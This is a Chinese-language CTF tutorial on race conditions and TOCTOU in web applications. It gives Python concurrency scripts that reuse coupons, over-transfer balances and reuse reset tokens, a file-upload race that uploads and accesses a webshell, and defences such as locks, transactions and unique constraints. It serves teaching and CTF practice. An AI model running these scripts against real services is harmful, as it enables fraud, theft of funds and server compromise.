竞争条件与 TOCTOU

本文适合

已掌握基本 Web 安全的学习者。学完你能：识别检查和使用分离的业务窗口，构造并发请求验证竞态，并用结果差异证明漏洞成立

一句话判断

当同一个资源、状态或 token 被多个请求同时操作，并且后端先检查再修改时，就要怀疑竞争条件或 TOCTOU。

竞态题不是看单次请求能不能成功，而是看多个请求在同一个时间窗口里是否能一起通过检查，从而得到本不该重复获得的结果。

题目中常见信号

• 功能包含兑换码、优惠券、积分领取、抽奖、签到、购买、转账、库存扣减、密码重置。
• 单次操作正常，但重复点击、快速重放或并发发送后结果异常。
• 响应里有“已使用”“余额不足”“库存不足”，说明后端有状态检查。
• 请求之间依赖同一个 code、token、order_id、coupon_id、balance、stock。
• 文件上传后会先保存再扫描或删除，访问窗口非常短。
• 后端没有幂等键、事务锁、唯一约束或原子更新迹象。

核心概念

竞争条件的本质是共享状态在并发访问时没有被原子地检查和修改。TOCTOU 是其中最典型的一种：检查时条件成立，使用时条件已经被其他请求改变。

CTF 中可以把竞态拆成三件事：

1. 共享资源：兑换码、余额、库存、token、文件路径、用户名。
2. 时间窗口：检查通过到状态写回之间的空隙。
3. 并发触发：让多个请求尽可能同时进入这个窗口。

有效证明不是“偶尔成功一次”，而是并发后业务状态出现不可能的结果：奖励多发、余额为负、token 重复使用、同名资源重复创建、临时文件被抢先访问。

典型 TOCTOU 窗口可以这样看：

最小分析流程

1. 完整跑一遍正常流程，保存关键请求和最终业务状态。
2. 找到检查和使用分离的位置，例如“检查余额 -> 扣款”“检查 token -> 标记已用”。
3. 用 Repeater 确认单次重复请求的正常失败结果。
4. 用 Turbo Intruder、并发脚本或 Burp 并发发送同一请求，线程数从 10 到 50 逐步增加。
5. 并发后查询业务状态：余额、积分、订单、兑换记录、文件是否存在。
6. 多跑几轮确认不是网络抖动或缓存误差，并记录成功次数和最终状态。

最小验证示例

兑换码接口正常只能使用一次：

curl -s -X POST http://target/api/redeem \
  -H "Cookie: session=USER" \
  -H "Content-Type: application/json" \
  -d '{"code":"WELCOME100"}'

用 Python 同时发 30 个请求：

import concurrent.futures, requests

url = "http://target/api/redeem"
headers = {"Cookie": "session=USER"}
data = {"code": "WELCOME100"}

def one(_):
    r = requests.post(url, json=data, headers=headers, timeout=5)
    return r.status_code, r.text[:80]

with concurrent.futures.ThreadPoolExecutor(max_workers=30) as pool:
    for item in pool.map(one, range(30)):
        print(item)

如果多个响应都显示 success，再查询积分或兑换记录。只有最终状态确实多发奖励，才算完成竞态验证。

常见利用 / 解题路线

路线总览：

• 兑换/领取路线：同一 code 或领取动作并发，目标是多次发放积分、金币或 flag 权限。
• 余额/支付路线：并发转账、购买、退款，目标是余额为负或重复到账。
• 库存/抢购路线：并发下单，目标是超卖、免费购买或订单状态错乱。
• 密码重置路线：同一 token 并发提交，目标是 token 重复使用或状态覆盖。
• 文件上传路线：上传恶意文件后同时访问，在扫描删除前触发执行。
• 注册/唯一性路线：并发创建相同用户名、邮箱、队伍名，目标是唯一约束绕过。

什么是竞争条件

竞争条件（Race Condition）是指多个线程或进程同时访问和修改共享资源时，最终结果取决于执行的时序。

在 Web 安全中，竞争条件通常发生在：

• 多个请求同时处理同一资源
• 服务器在检查和使用之间存在时间窗口
• 业务逻辑依赖于不可靠的时序假设

TOCTOU 是什么

TOCTOU（Time-of-Check to Time-of-Use）是竞争条件的一种特指：

• Time-of-Check：检查某个条件
• Time-of-Use：使用检查结果

如果在这两个时间点之间，条件被其他请求改变，就会出现安全问题。

常见竞态场景

1. 兑换码/优惠券

场景：兑换码只能使用一次

正常流程：
1. 检查兑换码是否已使用
2. 如果未使用，标记为已使用
3. 发放奖励

竞态攻击：
1. 同时发送 100 个使用同一兑换码的请求
2. 所有请求同时通过检查（因为还未标记）
3. 所有请求都获得奖励

2. 支付/转账

场景：账户余额检查

正常流程：
1. 检查余额是否足够
2. 扣除金额
3. 转账

竞态攻击：
1. 同时发送多个转账请求
2. 所有请求同时检查余额（都足够）
3. 实际扣除超过余额

3. 注册/抢注

场景：用户名唯一性检查

正常流程：
1. 检查用户名是否已存在
2. 如果不存在，注册成功

竞态攻击：
1. 同时发送多个注册同一用户名的请求
2. 所有请求同时通过检查
3. 多个账户使用同一用户名

4. 文件上传

场景：上传后检查文件类型

正常流程：
1. 上传文件
2. 检查文件类型
3. 如果类型不对，删除文件

竞态攻击：
1. 上传 webshell
2. 在检查之前访问 webshell
3. 执行恶意代码

5. 密码重置竞态

场景：密码重置 token 验证

正常流程：
1. 用户点击重置链接
2. 验证 token 是否有效
3. 标记 token 为已使用
4. 设置新密码

竞态攻击：
1. 同时发送两个使用同一 token 的重置请求
2. 两个请求都通过验证
3. 重置操作执行两次，可能覆盖密码

怎么判断是竞态漏洞

第一步：找到"检查-使用"分离的逻辑

竞态漏洞的核心是：服务器先检查某个条件，再使用这个条件的结果。如果在这两步之间，条件被其他请求改变，就会出问题。

常见模式：

• 检查余额 → 扣款
• 检查兑换码是否已用 → 标记为已用
• 检查用户名是否存在 → 注册
• 检查文件类型 → 保存文件

第二步：确认是否可以并发

单线程测试时，功能正常。但如果同时发送多个请求：

• 所有请求都通过检查（因为检查时条件还没被改变）
• 所有请求都执行操作（因为操作时条件已经被改变了多次）

第三步：验证利用成功

并发请求后，检查：

• 兑换码是否被多次使用？（查看余额或奖励）
• 转账后余额是否为负？（查看账户余额）
• 同一用户名是否被多次注册？（尝试登录）
• 文件是否被保存？（尝试访问）

常见误判：

• 以为响应不同就是竞态漏洞（可能是服务器负载均衡）
• 以为单次失败就是没有漏洞（竞态需要多次尝试）
• 以为服务器做了幂等性设计就没有漏洞（可能有绕过方法）

竞态漏洞检测

并发请求工具

# 使用 Burp Intruder
# 1. 发送请求到 Intruder
# 2. 设置 Payload 为 Null Payloads（重复）
# 3. 设置线程数为 10-50
# 4. 同时发送所有请求

# 使用 turbo intruder 插件
# 更快的并发请求

# 使用 Python requests + threading
import requests
import threading

def send_request(url, data):
    resp = requests.post(url, json=data)
    print(f"Status: {resp.status_code}, Response: {resp.text[:100]}")

def send_concurrent_requests(url, data, num_threads=50):
    """同时发送多个请求"""
    threads = []
    for i in range(num_threads):
        t = threading.Thread(target=send_request, args=(url, data))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

# 使用示例
# url = "http://target.com/api/redeem"
# data = {"code": "FLAG{test}"}
# send_concurrent_requests(url, data, 50)

时间差异检测

import requests
import time

def check_race_condition(url, data, num_requests=10):
    """通过时间差异检测竞态漏洞"""
    times = []

    for i in range(num_requests):
        start = time.time()
        resp = requests.post(url, json=data)
        elapsed = time.time() - start
        times.append((elapsed, resp.status_code, resp.text[:100]))

    # 分析响应差异
    responses = set(t[1] for t in times)
    if len(responses) > 1:
        print(f"[!] 发现响应差异: {responses}")
        print("    可能存在竞态漏洞")

    return times

竞态漏洞利用

兑换码竞态

import requests
import threading

def redeem_code(url, code):
    """并发兑换同一兑换码"""
    data = {"code": code}
    resp = requests.post(url, json=data)
    if "success" in resp.text.lower():
        print(f"[+] 兑换成功: {resp.text[:100]}")

def exploit_race(url, code, num_threads=50):
    """利用竞态漏洞多次兑换"""
    threads = []
    for i in range(num_threads):
        t = threading.Thread(target=redeem_code, args=(url, code))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

# 使用示例
# exploit_race("http://target.com/api/redeem", "FLAG{test}", 100)

转账竞态

import requests
import threading

def transfer(url, from_acc, to_acc, amount):
    """并发转账"""
    data = {
        "from": from_acc,
        "to": to_acc,
        "amount": amount
    }
    resp = requests.post(url, json=data)
    print(f"Transfer: {resp.status_code} - {resp.text[:50]}")

def exploit_transfer_race(url, from_acc, to_acc, amount, num_threads=20):
    """利用竞态漏洞超额转账"""
    threads = []
    for i in range(num_threads):
        t = threading.Thread(target=transfer, args=(url, from_acc, to_acc, amount))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

# 使用示例
# exploit_transfer_race("http://target.com/api/transfer", "attacker", "victim", 1000, 50)

使用 asyncio 高并发探测

import asyncio
import aiohttp

async def send_request(session, url, payload, headers, request_id):
    """异步发送单个请求"""
    try:
        async with session.post(url, json=payload, headers=headers) as resp:
            body = await resp.text()
            return {
                "id": request_id,
                "status": resp.status,
                "body": body[:200]
            }
    except Exception as e:
        return {"id": request_id, "error": str(e)}

async def race_attack(url, payload, headers, concurrency=20):
    """并发发送请求，探测竞态"""
    async with aiohttp.ClientSession() as session:
        tasks = [
            send_request(session, url, payload, headers, i)
            for i in range(concurrency)
        ]
        results = await asyncio.gather(*tasks)
    return results

# 使用示例
# url = "http://target.com/api/coupon/use"
# payload = {"coupon_code": "DISCOUNT50"}
# headers = {"Cookie": "session=abc123"}
# results = asyncio.run(race_attack(url, payload, headers, concurrency=20))

文件上传竞态

import requests
import threading

def upload_webshell(url, shell_path):
    """上传 webshell"""
    files = {"file": ("shell.php", open(shell_path, "rb"), "image/png")}
    resp = requests.post(url, files=files)
    print(f"Upload: {resp.status_code}")

def access_webshell(shell_url):
    """访问 webshell"""
    try:
        resp = requests.get(shell_url, timeout=1)
        if resp.status_code == 200:
            print(f"[!] Webshell 可访问: {shell_url}")
    except:
        pass

def exploit_upload_race(upload_url, shell_url, shell_path):
    """利用文件上传竞态"""
    # 同时上传和访问
    t1 = threading.Thread(target=upload_webshell, args=(upload_url, shell_path))
    t2 = threading.Thread(target=access_webshell, args=(shell_url,))

    t1.start()
    t2.start()

    t1.join()
    t2.join()

竞态漏洞防御

1. 使用锁机制

import threading

lock = threading.Lock()

def safe_redeem(code):
    with lock:
        # 检查和使用在同一锁内
        if not is_used(code):
            mark_used(code)
            give_reward()

2. 数据库事务

-- 使用事务保证原子性
BEGIN TRANSACTION;
SELECT balance FROM accounts WHERE id = 1 FOR UPDATE;
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
COMMIT;

3. 唯一约束

-- 使用数据库唯一约束
ALTER TABLE redemptions ADD UNIQUE (code, user_id);

4. 幂等性设计

# 使用幂等 token
def redeem_with_token(code, idempotency_key):
    if already_processed(idempotency_key):
        return "already processed"
    process_redeem(code)
    mark_processed(idempotency_key)

工具辅助

Burp Intruder

Burp Suite 的 Intruder 模块可以配置为并发发送请求。将请求数设为相同 payload，线程数调高，可以探测竞态。

Turbo Intruder

Turbo Intruder 是专门用于竞态条件测试的 Burp 插件，支持更精确的并发控制。

# Turbo Intruder 脚本示例（在 Burp Suite 中运行）
# def queueRequests(target, wordlists):
#     engine = RequestEngine(endpoint=target.endpoint,
#                            concurrentConnections=20,
#                            requestsPerConnection=1,
#                            pipeline=False)
#     for i in range(20):
#         engine.queue(target.req, target.baseInput)
#
# def handleResponse(req, interesting):
#     table.add(req)

CTF 中的竞态题

常见题型

1. 兑换码重复使用：同一兑换码并发使用多次
2. 余额竞态：并发转账导致余额为负
3. 注册竞态：并发注册同一用户名
4. 文件上传竞态：上传后删除的时间窗口

解题思路

1. 识别竞态点：找到检查和使用分离的地方
2. 构造并发：使用工具同时发送多个请求
3. 验证结果：检查是否成功利用

常见失败原因

• 以为单线程测试就能发现问题：竞态必须制造并发，同一请求顺序重放通常只会失败。
• 并发不够集中：普通多线程可能仍然分散，可用 Turbo Intruder single-packet attack 或尽量复用连接。
• 只看响应不看状态：多个 success 不一定等于业务生效，必须查询余额、记录、订单或文件。
• 没有重置测试环境：兑换码、token、库存被消耗后，后续测试会产生假阴性。
• 把限流当修复：限流可能降低成功率，但不能证明检查和写入是原子的。
• 忽略用户隔离：同一用户失败时，尝试多账户、多会话或同一资源的交叉操作。
• 网络延迟影响判断：多跑几轮，比较成功分布，避免把偶发超时当成漏洞。

迷你案例

题目有 /api/coupon/use，使用优惠券后账户积分增加 100。单次重复使用会返回 coupon used。先抓正常请求，然后并发 40 次：

import concurrent.futures, requests

s = requests.Session()
s.headers.update({"Cookie": "session=ATTACKER"})

def use_coupon(_):
    return s.post("http://target/api/coupon/use", json={"code": "CTF100"}).text

with concurrent.futures.ThreadPoolExecutor(max_workers=40) as pool:
    print(list(pool.map(use_coupon, range(40))).count("success"))

print(s.get("http://target/api/me").text)

结果有 7 个请求返回 success，账户积分从 0 变成 700，说明多个请求在“检查未使用”和“标记已使用”之间同时通过。这个案例的闭环是：单次基线 -> 并发触发 -> 状态查询 -> 多发结果证明。

做题时的归类问题

• 同一兑换码/优惠券能多次使用，先回到 竞争条件与TOCTOU。
• 并发转账后余额出现负数，先回到 竞争条件与TOCTOU。
• 并发注册同一用户名成功，先回到 竞争条件与TOCTOU。
• 上传文件后瞬间能访问，删除后又消失，先回到 竞争条件与TOCTOU。
• 需要抢在服务器处理前完成操作，先回到 竞争条件与TOCTOU。
• 接口返回结果有时成功有时失败，取决于请求时序，先回到 竞争条件与TOCTOU。